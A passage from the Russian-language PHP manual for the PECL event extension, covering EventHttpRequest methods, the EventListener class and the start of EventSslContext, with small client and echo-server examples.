Запрос не может быть отменён, если его callback-функция уже выполнена. Запрос может быть аннулирован повторно из его фрагментированной callback-функции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Удаляет все выходные заголовки из списка заголовков запроса

  • « EventHttpRequest::cancel
  • EventHttpRequest::closeConnection »
  • PHP Manual
  • EventHttpRequest
  • Удаляет все выходные заголовки из списка заголовков запроса

EventHttpRequest::clearHeaders

(PECL event >= 1.4.0-beta)

EventHttpRequest::clearHeaders — Удаляет все выходные заголовки из списка заголовков запроса

Описание

public EventHttpRequest::clearHeaders(): void

Удаляет все выходные заголовки из списка заголовков запроса.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • EventHttpRequest::addHeader() - Добавляет заголовок HTTP к заголовкам запроса

User Contributed Notes

There are no user contributed notes for this page.


Закрывает связанное HTTP-соединение

  • « EventHttpRequest::clearHeaders
  • EventHttpRequest::__construct »
  • PHP Manual
  • EventHttpRequest
  • Закрывает связанное HTTP-соединение

EventHttpRequest::closeConnection

(PECL event >= 1.8.0)

EventHttpRequest::closeConnection — Закрывает связанное HTTP-соединение

Описание

public EventHttpRequest::closeConnection(): void

Закрывает связанное HTTP-соединение.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Конструктор объекта EventHttpRequest

  • « EventHttpRequest::closeConnection
  • EventHttpRequest::findHeader »
  • PHP Manual
  • EventHttpRequest
  • Конструктор объекта EventHttpRequest

EventHttpRequest::__construct

(PECL event >= 1.4.0-beta)

EventHttpRequest::__construct — Конструктор объекта EventHttpRequest

Описание

public EventHttpRequest::__construct( callable $callback , mixed $data = null )

Конструктор объекта EventHttpRequest.

Список параметров

callback

Вызывается при запросе пути. Должен соответствовать следующему прототипу:

callback( EventHttpRequest $req = null , mixed $arg = null ): void
data

Пользовательские данные, которые передаются в callback-функцию.

Возвращаемые значения

Возвращает объект EventHttpRequest.

Примеры

Пример #1 Пример EventHttpRequest::__construct()

<?php

function _request_handler($req, $base) {
echo __FUNCTION__, PHP_EOL;

if (is_null($req)) {
echo "Время вышло\n";
} else {
$response_code = $req->getResponseCode();

if ($response_code == 0) {
echo "Соединение разорвано\n";
} elseif ($response_code != 200) {
echo "Неожиданный ответ: $response_code\n";
} else {
echo "Успешно: $response_code\n";
$buf = $req->getInputBuffer();
echo "Тело ответа:\n";
while ($s = $buf->readLine(EventBuffer::EOL_ANY)) {
echo $s, PHP_EOL;
}
}
}

$base->exit(NULL);
}

$address = "127.0.0.1";
$port = 80;

$base = new EventBase();
$conn = new EventHttpConnection($base, NULL, $address, $port);
$conn->setTimeout(5);
$req = new EventHttpRequest("_request_handler", $base);

$req->addHeader("Host", $address, EventHttpRequest::OUTPUT_HEADER);
$req->addHeader("Content-Length", "0", EventHttpRequest::OUTPUT_HEADER);
$conn->makeRequest($req, EventHttpRequest::CMD_GET, "/index.cphp");

$base->loop();
?>

Смотрите также

  • EventHttpRequest::cancel() - Отменяет ожидающий HTTP-запрос
  • EventHttpRequest::addHeader() - Добавляет заголовок HTTP к заголовкам запроса

User Contributed Notes

There are no user contributed notes for this page.


Получает значение заголовка

  • « EventHttpRequest::__construct
  • EventHttpRequest::free »
  • PHP Manual
  • EventHttpRequest
  • Получает значение заголовка

EventHttpRequest::findHeader

(PECL event >= 1.4.0-beta)

EventHttpRequest::findHeader — Получает значение заголовка

Описание

public EventHttpRequest::findHeader( string $key , string $type ): void

Получает значение заголовка

Список параметров

key

Наименование заголовка.

type

Одна из констант EventHttpRequest::*_HEADER .

Возвращаемые значения

Возвращает null, если заголовок не найден.

Смотрите также

  • EventHttpRequest::addHeader() - Добавляет заголовок HTTP к заголовкам запроса

User Contributed Notes

There are no user contributed notes for this page.


Освобождает объект и удаляет связанные события

  • « EventHttpRequest::findHeader
  • EventHttpRequest::getBufferEvent »
  • PHP Manual
  • EventHttpRequest
  • Освобождает объект и удаляет связанные события

EventHttpRequest::free

(PECL event >= 1.4.0-beta)

EventHttpRequest::free — Освобождает объект и удаляет связанные события

Описание

public EventHttpRequest::free(): void

Освобождает объект и удаляет связанные события.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает объект EventBufferEvent

  • « EventHttpRequest::free
  • EventHttpRequest::getCommand »
  • PHP Manual
  • EventHttpRequest
  • Возвращает объект EventBufferEvent

EventHttpRequest::getBufferEvent

(PECL event >= 1.8.0)

EventHttpRequest::getBufferEvent — Возвращает объект EventBufferEvent

Описание

public EventHttpRequest::closeConnection(): EventBufferEvent

Возвращает объект EventBufferEvent, представляющий буферное событие, которое использует соединение.

Внимание

Счётчик ссылок возвращаемого объекта будет увеличен на единицу для защиты внутренних структур от преждевременного разрушения при вызове метода из callback-функции пользователя. Таким образом, объект EventBufferEvent должен быть явно освобождён с помощью метода EventBufferEvent::free(). В противном случае будет утечка памяти.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает объект EventBufferEvent.

Смотрите также

  • EventHttpRequest::getConnection() - Возвращает объект EventHttpConnection

User Contributed Notes

There are no user contributed notes for this page.


Возвращает команду запроса (метод)

  • « EventHttpRequest::getBufferEvent
  • EventHttpRequest::getConnection »
  • PHP Manual
  • EventHttpRequest
  • Возвращает команду запроса (метод)

EventHttpRequest::getCommand

(PECL event >= 1.4.0-beta)

EventHttpRequest::getCommand — Возвращает команду запроса (метод)

Описание

public EventHttpRequest::getCommand(): void

Возвращает команду запроса, одну из констант EventHttpRequest::CMD_* .

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает команду запроса, одну из констант EventHttpRequest::CMD_* .

User Contributed Notes

There are no user contributed notes for this page.


Возвращает объект EventHttpConnection

  • « EventHttpRequest::getCommand
  • EventHttpRequest::getHost »
  • PHP Manual
  • EventHttpRequest
  • Возвращает объект EventHttpConnection

EventHttpRequest::getConnection

(PECL event >= 1.8.0)

EventHttpRequest::getConnection — Возвращает объект EventHttpConnection

Описание

public EventHttpRequest::closeConnection(): EventHttpConnection

Возвращает объект EventHttpConnection, представляющий HTTP-соединение, связанное с запросом.

Внимание

Libevent API позволяет объектам HTTP-запроса не привязываться ни к какому HTTP-соединению. Поэтому мы не можем однозначно связать EventHttpRequest с EventHttpConnection. Таким образом, мы создаём объект EventHttpConnection на лету. Не имея информации о базе событий, базе DNS и callback-функциях при закрытии соединения, мы просто оставляем эти поля незаполненными.

Метод EventHttpRequest::getConnection() обычно полезен, когда нам нужно реализовать callback-функцию, при закрытии соединения. Смотрите EventHttpConnection::setCloseCallback().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает объект EventHttpConnection.

Смотрите также

  • EventHttpConnection::setCloseCallback() - Устанавливает callback-функцию при закрытии соединения
  • EventHttpRequest::getBufferEvent() - Возвращает объект EventBufferEvent

User Contributed Notes

There are no user contributed notes for this page.


Возвращает хост запроса

  • « EventHttpRequest::getConnection
  • EventHttpRequest::getInputBuffer »
  • PHP Manual
  • EventHttpRequest
  • Возвращает хост запроса

EventHttpRequest::getHost

(PECL event >= 1.4.0-beta)

EventHttpRequest::getHost — Возвращает хост запроса

Описание

public EventHttpRequest::getHost(): string

Возвращает хост запроса.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает хост запроса.

Смотрите также

  • EventHttpRequest::getUri() - Возвращает URI запроса
  • EventHttpRequest::getCommand() - Возвращает команду запроса (метод)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает входной буфер

  • « EventHttpRequest::getHost
  • EventHttpRequest::getInputHeaders »
  • PHP Manual
  • EventHttpRequest
  • Возвращает входной буфер

EventHttpRequest::getInputBuffer

(PECL event >= 1.4.0-beta)

EventHttpRequest::getInputBuffer — Возвращает входной буфер

Описание

public EventHttpRequest::getInputBuffer(): EventBuffer

Возвращает входной буфер.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает входной буфер.

Смотрите также

  • EventHttpRequest::getOutputBuffer() - Возвращает выходной буфер запроса

User Contributed Notes

There are no user contributed notes for this page.


Возвращает ассоциативный массив входных заголовков

  • « EventHttpRequest::getInputBuffer
  • EventHttpRequest::getOutputBuffer »
  • PHP Manual
  • EventHttpRequest
  • Возвращает ассоциативный массив входных заголовков

EventHttpRequest::getInputHeaders

(PECL event >= 1.4.0-beta)

EventHttpRequest::getInputHeaders — Возвращает ассоциативный массив входных заголовков

Описание

public EventHttpRequest::getInputHeaders(): array

Возвращает ассоциативный массив входных заголовков.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает ассоциативный массив входных заголовков.

Смотрите также

  • EventHttpRequest::getOutputHeaders() - Возвращает ассоциативный массив выходных заголовков

User Contributed Notes

There are no user contributed notes for this page.


Возвращает выходной буфер запроса

  • « EventHttpRequest::getInputHeaders
  • EventHttpRequest::getOutputHeaders »
  • PHP Manual
  • EventHttpRequest
  • Возвращает выходной буфер запроса

EventHttpRequest::getOutputBuffer

(PECL event >= 1.4.0-beta)

EventHttpRequest::getOutputBuffer — Возвращает выходной буфер запроса

Описание

public EventHttpRequest::getOutputBuffer(): EventBuffer

Возвращает выходной буфер запроса.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает выходной буфер запроса.

Смотрите также

  • EventHttpRequest::getInputBuffer() - Возвращает входной буфер

User Contributed Notes

There are no user contributed notes for this page.


Возвращает ассоциативный массив выходных заголовков

  • « EventHttpRequest::getOutputBuffer
  • EventHttpRequest::getResponseCode »
  • PHP Manual
  • EventHttpRequest
  • Возвращает ассоциативный массив выходных заголовков

EventHttpRequest::getOutputHeaders

(PECL event >= 1.4.0-beta)

EventHttpRequest::getOutputHeaders — Возвращает ассоциативный массив выходных заголовков

Описание

public EventHttpRequest::getOutputHeaders(): void

Возвращает ассоциативный массив выходных заголовков.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите также

  • EventHttpRequest::getInputHeaders() - Возвращает ассоциативный массив входных заголовков

User Contributed Notes

There are no user contributed notes for this page.


Возвращает код ответа

  • « EventHttpRequest::getOutputHeaders
  • EventHttpRequest::getUri »
  • PHP Manual
  • EventHttpRequest
  • Возвращает код ответа

EventHttpRequest::getResponseCode

(PECL event >= 1.4.0-beta)

EventHttpRequest::getResponseCode — Возвращает код ответа

Описание

public EventHttpRequest::getResponseCode(): int

Возвращает код ответа.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает код ответа запроса.

Смотрите также

  • EventHttpRequest::getCommand() - Возвращает команду запроса (метод)
  • EventHttpRequest::getHost() - Возвращает хост запроса
  • EventHttpRequest::getUri() - Возвращает URI запроса

User Contributed Notes

There are no user contributed notes for this page.


Возвращает URI запроса

  • « EventHttpRequest::getResponseCode
  • EventHttpRequest::removeHeader »
  • PHP Manual
  • EventHttpRequest
  • Возвращает URI запроса

EventHttpRequest::getUri

(PECL event >= 1.4.0-beta)

EventHttpRequest::getUri — Возвращает URI запроса

Описание

public EventHttpRequest::getUri(): string

Возвращает URI запроса

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает URI запроса

Смотрите также

  • EventHttpRequest::getCommand() - Возвращает команду запроса (метод)
  • EventHttpRequest::getHost() - Возвращает хост запроса
  • EventHttpRequest::getResponseCode() - Возвращает код ответа

User Contributed Notes

There are no user contributed notes for this page.


Удаляет заголовок HTTP из заголовков запроса

  • « EventHttpRequest::getUri
  • EventHttpRequest::sendError »
  • PHP Manual
  • EventHttpRequest
  • Удаляет заголовок HTTP из заголовков запроса

EventHttpRequest::removeHeader

(PECL event >= 1.4.0-beta)

EventHttpRequest::removeHeader — Удаляет заголовок HTTP из заголовков запроса

Описание

public EventHttpRequest::removeHeader( string $key , string $type ): void

Удаляет заголовок HTTP из заголовков запроса.

Список параметров

key

Наименование заголовка.

type

type одна из констант EventHttpRequest::*_HEADER .

Возвращаемые значения

Удаляет заголовок HTTP из заголовков запроса.

Смотрите также

  • EventHttpRequest::addHeader() - Добавляет заголовок HTTP к заголовкам запроса

User Contributed Notes

There are no user contributed notes for this page.


Отправляет HTML-сообщение об ошибке клиенту

  • « EventHttpRequest::removeHeader
  • EventHttpRequest::sendReply »
  • PHP Manual
  • EventHttpRequest
  • Отправляет HTML-сообщение об ошибке клиенту

EventHttpRequest::sendError

(PECL event >= 1.4.0-beta)

EventHttpRequest::sendError — Отправляет HTML-сообщение об ошибке клиенту

Описание

public EventHttpRequest::sendError( int $error , string $reason = null ): void

Отправляет HTML-сообщение об ошибке клиенту.

Список параметров

error

HTTP-код ошибки.

reason

Краткое описание ошибки. Если null, будет использоваться стандартное значение кода ошибки.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования EventHttpRequest::sendError()

<?php
function _http_400($req) {
$req->sendError(400);
}

$base = new EventBase();
$http = new EventHttp($base);

$http->setCallback("/err400", "_http_400");

$http->bind("0.0.0.0", 8010);
$base->loop();
?>

Смотрите также

  • EventHttpRequest::sendReply() - Отправляет HTML-ответ клиенту

User Contributed Notes

There are no user contributed notes for this page.


Отправляет HTML-ответ клиенту

  • « EventHttpRequest::sendError
  • EventHttpRequest::sendReplyChunk »
  • PHP Manual
  • EventHttpRequest
  • Отправляет HTML-ответ клиенту

EventHttpRequest::sendReply

(PECL event >= 1.4.0-beta)

EventHttpRequest::sendReply — Отправляет HTML-ответ клиенту

Описание

public EventHttpRequest::sendReply( int $code , string $reason , EventBuffer $buf = ?): void

Отправляет HTML0ответ клиенту. Тело ответа состоит из данных в необязательном параметре buf.

Список параметров

code

Код ответа HTTP для отправки.

reason

Краткое сообщение для отправки с кодом ответа.

buf

Тело ответа.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • EventHttpRequest::sendError() - Отправляет HTML-сообщение об ошибке клиенту
  • EventHttpRequest::sendReplyChunk() - Отправляет блок данных, как часть текущего фрагментированного ответа

User Contributed Notes

There are no user contributed notes for this page.


Отправляет блок данных, как часть текущего фрагментированного ответа

  • « EventHttpRequest::sendReply
  • EventHttpRequest::sendReplyEnd »
  • PHP Manual
  • EventHttpRequest
  • Отправляет блок данных, как часть текущего фрагментированного ответа

EventHttpRequest::sendReplyChunk

(PECL event >= 1.4.0-beta)

EventHttpRequest::sendReplyChunk — Отправляет блок данных, как часть текущего фрагментированного ответа

Описание

public EventHttpRequest::sendReplyChunk( EventBuffer $buf ): void

Отправляет блок данных, как часть текущего фрагментированного ответа. После вызова этого метода, параметр buf будет пустым.

Список параметров

buf

Фрагмент данных для отправки, как часть ответа.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • EventHttpRequest::sendReplyStart() - Инициирует фрагментарный ответ
  • EventHttpRequest::sendReplyEnd() - Заполняет фрагментарный ответ, освобождая запрос соответствующим образом

User Contributed Notes

There are no user contributed notes for this page.


Заполняет фрагментарный ответ, освобождая запрос соответствующим образом

  • « EventHttpRequest::sendReplyChunk
  • EventHttpRequest::sendReplyStart »
  • PHP Manual
  • EventHttpRequest
  • Заполняет фрагментарный ответ, освобождая запрос соответствующим образом

EventHttpRequest::sendReplyEnd

(PECL event >= 1.4.0-beta)

EventHttpRequest::sendReplyEnd — Заполняет фрагментарный ответ, освобождая запрос соответствующим образом

Описание

public EventHttpRequest::sendReplyEnd(): void

Заполняет фрагментарный ответ, освобождая запрос соответствующим образом.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • EventHttpRequest::sendReplyStart() - Инициирует фрагментарный ответ
  • EventHttpRequest::sendReplyChunk() - Отправляет блок данных, как часть текущего фрагментированного ответа

User Contributed Notes

There are no user contributed notes for this page.


Инициирует фрагментарный ответ

  • « EventHttpRequest::sendReplyEnd
  • EventListener »
  • PHP Manual
  • EventHttpRequest
  • Инициирует фрагментарный ответ

EventHttpRequest::sendReplyStart

(PECL event >= 1.4.0-beta)

EventHttpRequest::sendReplyStart — Инициирует фрагментарный ответ

Описание

public EventHttpRequest::sendReplyStart( int $code , string $reason ): void

Инициирует ответ, который использует Transfer-Encoding chunked.

Это позволяет вызывающей стороне передавать ответ обратно клиенту. Это будет полезно, когда-либо не все данные ответа доступны сразу, либо при отправке очень больших ответов.

Вызывающая сторона должна предоставить фрагменты данных с помощью EventHttpRequest::sendReplyChunk() и завершить ответ, вызвав EventHttpRequest::sendReplyEnd().

Список параметров

code

Код ответа HTTP для отправки.

reason

Краткое сообщение для отправки с кодом ответа.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • EventHttpRequest::sendReplyChunk() - Отправляет блок данных, как часть текущего фрагментированного ответа
  • EventHttpRequest::sendReplyEnd() - Заполняет фрагментарный ответ, освобождая запрос соответствующим образом

User Contributed Notes

There are no user contributed notes for this page.


Класс EventListener

(PECL event >= 1.5.0)

Введение

Представляет слушатель соединения.

Обзор классов

final class EventListener {
/* Константы */
const int OPT_LEAVE_SOCKETS_BLOCKING = 1;
const int OPT_CLOSE_ON_FREE = 2;
const int OPT_CLOSE_ON_EXEC = 4;
const int OPT_REUSEABLE = 8;
const int OPT_THREADSAFE = 16;
/* Свойства */
public readonly int $fd;
/* Методы */
public __construct(
EventBase $base ,
callable $cb ,
mixed $data ,
int $flags ,
int $backlog ,
mixed $target
)
public disable(): bool
public enable(): bool
public getBase(): void
public static getSocketName( string &$address , mixed &$port = ?): bool
public setCallback( callable $cb , mixed $arg = null ): void
public setErrorCallback( string $cb ): void
}

Свойства

fd

Числовой файловый дескриптор для нижележащего сокета. (Добавлено в event-1.6.0 .)

Предопределённые константы

EventListener::OPT_LEAVE_SOCKETS_BLOCKING

по умолчанию, Libevent переключает нижележащий файловый дескриптор или сокет в неблокирующий режим. Этот флаг сообщает Libevent, что следует оставить их в блокирующем режиме.

EventListener::OPT_CLOSE_ON_FREE

Если этот флаг установлен, слушатель соединения закроет сокет когда объект EventListener будет уничтожен.

EventListener::OPT_CLOSE_ON_EXEC

Если этот флаг установлен, слушатель соединения установит флаг close-on-exec на сокет. Смотрите документацию по fcntl и FD_CLOEXEC для вашей платформы.

EventListener::OPT_REUSEABLE

На некоторых платформах, по умолчанию, после закрытия сокета, другие сокеты не смогут привязаться к тому же порту, пока не пройдёт некоторое время. Данный флаг говорит Libevent помечать сокет как переиспользуемый, что позволит открывать другие сокеты на том же порту после его закрытия.

EventListener::OPT_THREADSAFE

Выделяет блокировки для слушателя, что позволяет безопасно использовать его в многопоточном варианте.

Содержание

  • EventListener::__construct — Создать новый слушатель соединения, связанный с событийной базой
  • EventListener::disable — Отключает событие подключения к объекту слушателя
  • EventListener::enable — Включает событие подключения к объекту слушателя
  • EventListener::getBase — Возвращает базу событий, связанную со слушателем событий
  • EventListener::getSocketName — Получает текущий адрес, к которому привязан сокет слушателя
  • EventListener::setCallback — Цель setCallback
  • EventListener::setErrorCallback — Устанавливает callback-функцию ошибки слушателя событий

User Contributed Notes

There are no user contributed notes for this page.


Создать новый слушатель соединения, связанный с событийной базой

  • « EventListener
  • EventListener::disable »
  • PHP Manual
  • EventListener
  • Создать новый слушатель соединения, связанный с событийной базой

EventListener::__construct

(PECL event >= 1.2.6-beta)

EventListener::__construct — Создать новый слушатель соединения, связанный с событийной базой

Описание

public EventListener::__construct(
EventBase $base ,
callable $cb ,
mixed $data ,
int $flags ,
int $backlog ,
mixed $target
)

Создаёт новый слушатель соединения, связанный с событийной базой.

Список параметров

base

Событийная база.

cb

Callback-функция (callable), которая будет вызвана при получении соединения.

data

Пользовательские данные, которые будут передаваться в cb .

flags

Битовая маска из констант EventListener::OPT_*. Смотрите константы EventListener .

backlog

Устанавливает максимальное количество ожидающих соединений, которым, сетевым стеком, позволено ожидать в состоянии ещё-не-принято. Более подробно смотрите в документации по системной функции listen. Если значение backlog отрицательно, Libevent попытается самостоятельно выбрать наилучшее значение для backlog. Если равно нулю, Event будет считать, что listen уже вызвана на сокете( target )

target

Может быть строкой, ресурсом сокета или потоком, связанным с сокетом. Если target является строкой, то она будет разбираться как сетевой адрес. Она будет интерпретироваться как путь сокета домена UNIX, если будет иметь префикс 'unix:' , например, 'unix:/tmp/my.sock' .

Возвращаемые значения

Возвращает объект EventListener, представляющий слушатель события соединения.

Список изменений

Версия | Описание
PECL event 1.5.0 | Добавлена поддержка сокетов домена UNIX.

Примеры

Пример #1 Пример использования EventListener::__construct()

<?php
/*
* Простой сервер на основе прослушивателя соединений libevent.
*
* Использование:
* 1) В одном окне терминала запустите:
*
* $ php listener.php 9881
*
* 2) В другом окне терминала откройте соединение, например:
*
* $ nc 127.0.0.1 9881
*
* 3) начните печатать. Сервер должен повторить ввод.
*/

class MyListenerConnection {
private $bev, $base;

public function __destruct() {
$this->bev->free();
}

public function __construct($base, $fd) {
$this->base = $base;

$this->bev = new EventBufferEvent($base, $fd, EventBufferEvent::OPT_CLOSE_ON_FREE);

$this->bev->setCallbacks(array($this, "echoReadCallback"), NULL,
array($this, "echoEventCallback"), NULL);

if (!$this->bev->enable(Event::READ)) {
echo "Не удалось включить READ\n";
return;
}
}

public function echoReadCallback($bev, $ctx) {
// Скопируйте все данные из входного буфера в выходной буфер

// Вариант #1
$bev->output->addBuffer($bev->input);

/* Вариант #2 */
/*
$input = $bev->getInput();
$output = $bev->getOutput();
$output->addBuffer($input);
*/
}

public function echoEventCallback($bev, $events, $ctx) {
if ($events & EventBufferEvent::ERROR) {
echo "Ошибка bufferevent\n";
}

if ($events & (EventBufferEvent::EOF | EventBufferEvent::ERROR)) {
//$bev->free();
$this->__destruct();
}
}
}

class MyListener {
public $base,
$listener,
$socket;
private $conn = array();

public function __destruct() {
foreach ($this->conn as &$c) $c = NULL;
}

public function __construct($port) {
$this->base = new EventBase();
if (!$this->base) {
echo "Не удалось открыть событийную базу";
exit(1);
}

// Вариант #1
/*
$this->socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (!socket_bind($this->socket, '0.0.0.0', $port)) {
echo "Невозможно связать сокет\n";
exit(1);
}
$this->listener = new EventListener($this->base,
array($this, "acceptConnCallback"), $this->base,
EventListener::OPT_CLOSE_ON_FREE | EventListener::OPT_REUSEABLE,
-1, $this->socket);
*/

// Вариант #2
$this->listener = new EventListener($this->base,
array($this, "acceptConnCallback"), $this->base,
EventListener::OPT_CLOSE_ON_FREE | EventListener::OPT_REUSEABLE, -1,
"0.0.0.0:$port");

if (!$this->listener) {
echo "Не удалось создать слушателя";
exit(1);
}

$this->listener->setErrorCallback(array($this, "accept_error_cb"));
}

public function dispatch() {
$this->base->dispatch();
}

// Этот callback вызывается, когда есть данные для чтения на $bev
public function acceptConnCallback($listener, $fd, $address, $ctx) {
// Мы получили новое соединение! Создайте для этого все необходимое. */
$base = $this->base;
$this->conn[] = new MyListenerConnection($base, $fd);
}

public function accept_error_cb($listener, $ctx) {
$base = $this->base;

fprintf(STDERR, "Получил ошибку %d (%s) на слушателе."
."Выключение.\n",
EventUtil::getLastSocketErrno(),
EventUtil::getLastSocketError());

$base->exit(NULL);
}
}

$port = 9808;

if ($argc > 1) {
$port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
exit("Invalid port");
}

$l = new MyListener($port);
$l->dispatch();
?>

User Contributed Notes

info-phpnet at ch2o dot info 11-Nov-2014 02:04
Warning EventListener::OPT_CLOSE_ON_FREE is forced when you transmit a "target" string.

The only way to not set EventListener::OPT_CLOSE_ON_FREE is to bind the socket before creating EventListener and use this socekt as "target".


Отключает событие подключения к объекту слушателя

  • « EventListener::__construct
  • EventListener::enable »
  • PHP Manual
  • EventListener
  • Отключает событие подключения к объекту слушателя

EventListener::disable

(PECL event >= 1.2.6-beta)

EventListener::disable — Отключает событие подключения к объекту слушателя

Описание

public EventListener::disable(): bool

Отключает событие подключения к объекту слушателя

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • EventListener::enable() - Включает событие подключения к объекту слушателя

User Contributed Notes

There are no user contributed notes for this page.


Включает событие подключения к объекту слушателя

  • « EventListener::disable
  • EventListener::getBase »
  • PHP Manual
  • EventListener
  • Включает событие подключения к объекту слушателя

EventListener::enable

(PECL event >= 1.2.6-beta)

EventListener::enable — Включает событие подключения к объекту слушателя

Описание

public EventListener::enable(): bool

Включает событие подключения к объекту слушателя

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • EventListener::disable() - Отключает событие подключения к объекту слушателя

User Contributed Notes

There are no user contributed notes for this page.


Возвращает базу событий, связанную со слушателем событий

  • « EventListener::enable
  • EventListener::getSocketName »
  • PHP Manual
  • EventListener
  • Возвращает базу событий, связанную со слушателем событий

EventListener::getBase

(PECL event >= 1.2.6-beta)

EventListener::getBase — Возвращает базу событий, связанную со слушателем событий

Описание

public EventListener::getBase(): void

Возвращает базу событий, связанную со слушателем событий.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает базу событий, связанную со слушателем событий.

User Contributed Notes

There are no user contributed notes for this page.


Получает текущий адрес, к которому привязан сокет слушателя

  • « EventListener::getBase
  • EventListener::setCallback »
  • PHP Manual
  • EventListener
  • Получает текущий адрес, к которому привязан сокет слушателя

EventListener::getSocketName

(PECL event >= 1.5.0)

EventListener::getSocketName — Получает текущий адрес, к которому привязан сокет слушателя

Описание

public static EventListener::getSocketName( string &$address , mixed &$port = ?): bool

Получает текущий адрес, к которому привязан сокет слушателя.

Список параметров

address

Выходной параметр. IP-адрес в зависимости от семейства адресов сокетов.

port

Выходной параметр. Порт, к которому привязан сокет.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Цель setCallback

  • « EventListener::getSocketName
  • EventListener::setErrorCallback »
  • PHP Manual
  • EventListener
  • Цель setCallback

EventListener::setCallback

(PECL event >= 1.2.6-beta)

EventListener::setCallback — Цель setCallback

Описание

public EventListener::setCallback( callable $cb , mixed $arg = null ): void

Настройте callback-функцию слушателя события и, по необходимости, callback-аргумент.

Список параметров

cb

Новая callback-функция для новых подключений. Игнорируется, если null.

Должна соответствовать прототипу:

callback(
EventListener $listener = null ,
mixed $fd = null ,
array $address = null ,
mixed $arg = null
): void

listener

Объект EventListener.

fd

Файловый дескриптор или ресурс, связанный со слушателем.

address

Массив из двух элементов: IP-адрес и порт server.

arg

Пользовательские данные, прикреплённые к callback-функции.

arg

Пользовательские данные, прикреплённые к callback-функции. Игнорируется, если null.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает callback-функцию ошибки слушателя событий

  • « EventListener::setCallback
  • EventSslContext »
  • PHP Manual
  • EventListener
  • Устанавливает callback-функцию ошибки слушателя событий

EventListener::setErrorCallback

(PECL event >= 1.2.6-beta)

EventListener::setErrorCallback — Устанавливает callback-функцию ошибки слушателя событий

Описание

public EventListener::setErrorCallback( string $cb ): void

Устанавливает callback-функцию ошибки слушателя событий

Список параметров

cb

Callback-функция ошибки. Должна соответствовать следующему прототипу:

callback( EventListener $listener = null , mixed $data = null ): void

listener

Объект EventListener.

data

Пользовательские данные, прикреплённые к callback-функции.

Возвращаемые значения

Смотрите также

  • EventListener::setCallback() - Цель setCallback

User Contributed Notes

There are no user contributed notes for this page.


Класс EventSslContext

(PECL event >= 1.2.6-beta)

Введение

Представляет структуру SSL_CTX. Предоставляет методы и свойства для настройки контекста SSL.

Обзор классов

final class EventSslContext {
/* Константы */
const int SSLv2_CLIENT_METHOD = 1;
const int SSLv3_CLIENT_METHOD = 2;
const int SSLv23_CLIENT_METHOD = 3;
const int TLS_CLIENT_METHOD = 4;
const int SSLv2_SERVER_METHOD = 5;
const int SSLv3_SERVER_METHOD = 6;
const int SSLv23_SERVER_METHOD = 7;
const int TLS_SERVER_METHOD = 8;
const int OPT_LOCAL_CERT = 1;
const int OPT_LOCAL_PK = 2;
const int OPT_PASSPHRASE = 3;
const int OPT_CA_FILE = 4;
const int OPT_CA_PATH = 5;
const int OPT_ALLOW_SELF_SIGNED = 6;
const int OPT_VERIFY_PEER = 7;
const int OPT_VERIFY_DEPTH = 8;
const int OPT_CIPHERS = 9;
/* Свойства */
public string $local_cert;
public string $local_pk;
/* Методы */
public __construct( string $method , string $options )
}

Свойства

local_cert

Путь до локального файла сертификата. Это должен быть файл в формате PEM, содержащий сертификат. Опционально может содержать цепочку сертификатов эмитентов.

local_pk

Путь до локального файла с приватным ключом

Предопределённые константы

EventSslContext::SSLv2_CLIENT_METHOD

Метод клиента SSLv2. Смотрите руководство по SSL_CTX_new(3).

EventSslContext::SSLv3_CLIENT_METHOD

Метод клиента SSLv3. Смотрите руководство по SSL_CTX_new(3).

EventSslContext::SSLv23_CLIENT_METHOD

Метод клиента SSLv23. Смотрите руководство по SSL_CTX_new(3).

EventSslContext::TLS_CLIENT_METHOD

Метод клиента TLS. Смотрите руководство по SSL_CTX_new(3).

EventSslContext::SSLv2_SERVER_METHOD

Метод сервера SSLv2. Смотрите руководство по SSL_CTX_new(3).

EventSslContext::SSLv3_SERVER_METHOD

Метод сервера SSLv3. Смотрите руководство по SSL_CTX_new(3).

EventSslContext::SSLv23_SERVER_METHOD

Метод сервера SSLv23. Смотрите руководство по SSL_CTX_new(3).

EventSslContext::TLS_SERVER_METHOD

Метод сервера TLS. Смотрите руководство по SSL_CTX_new(3).

EventSslContext::OPT_LOCAL_CERT

Ключ элемента в массиве опций, переданном в EventSslContext::__construct() . Опция указывает на путь локального сертификата.

EventSslContext::OPT_LOCAL_PK

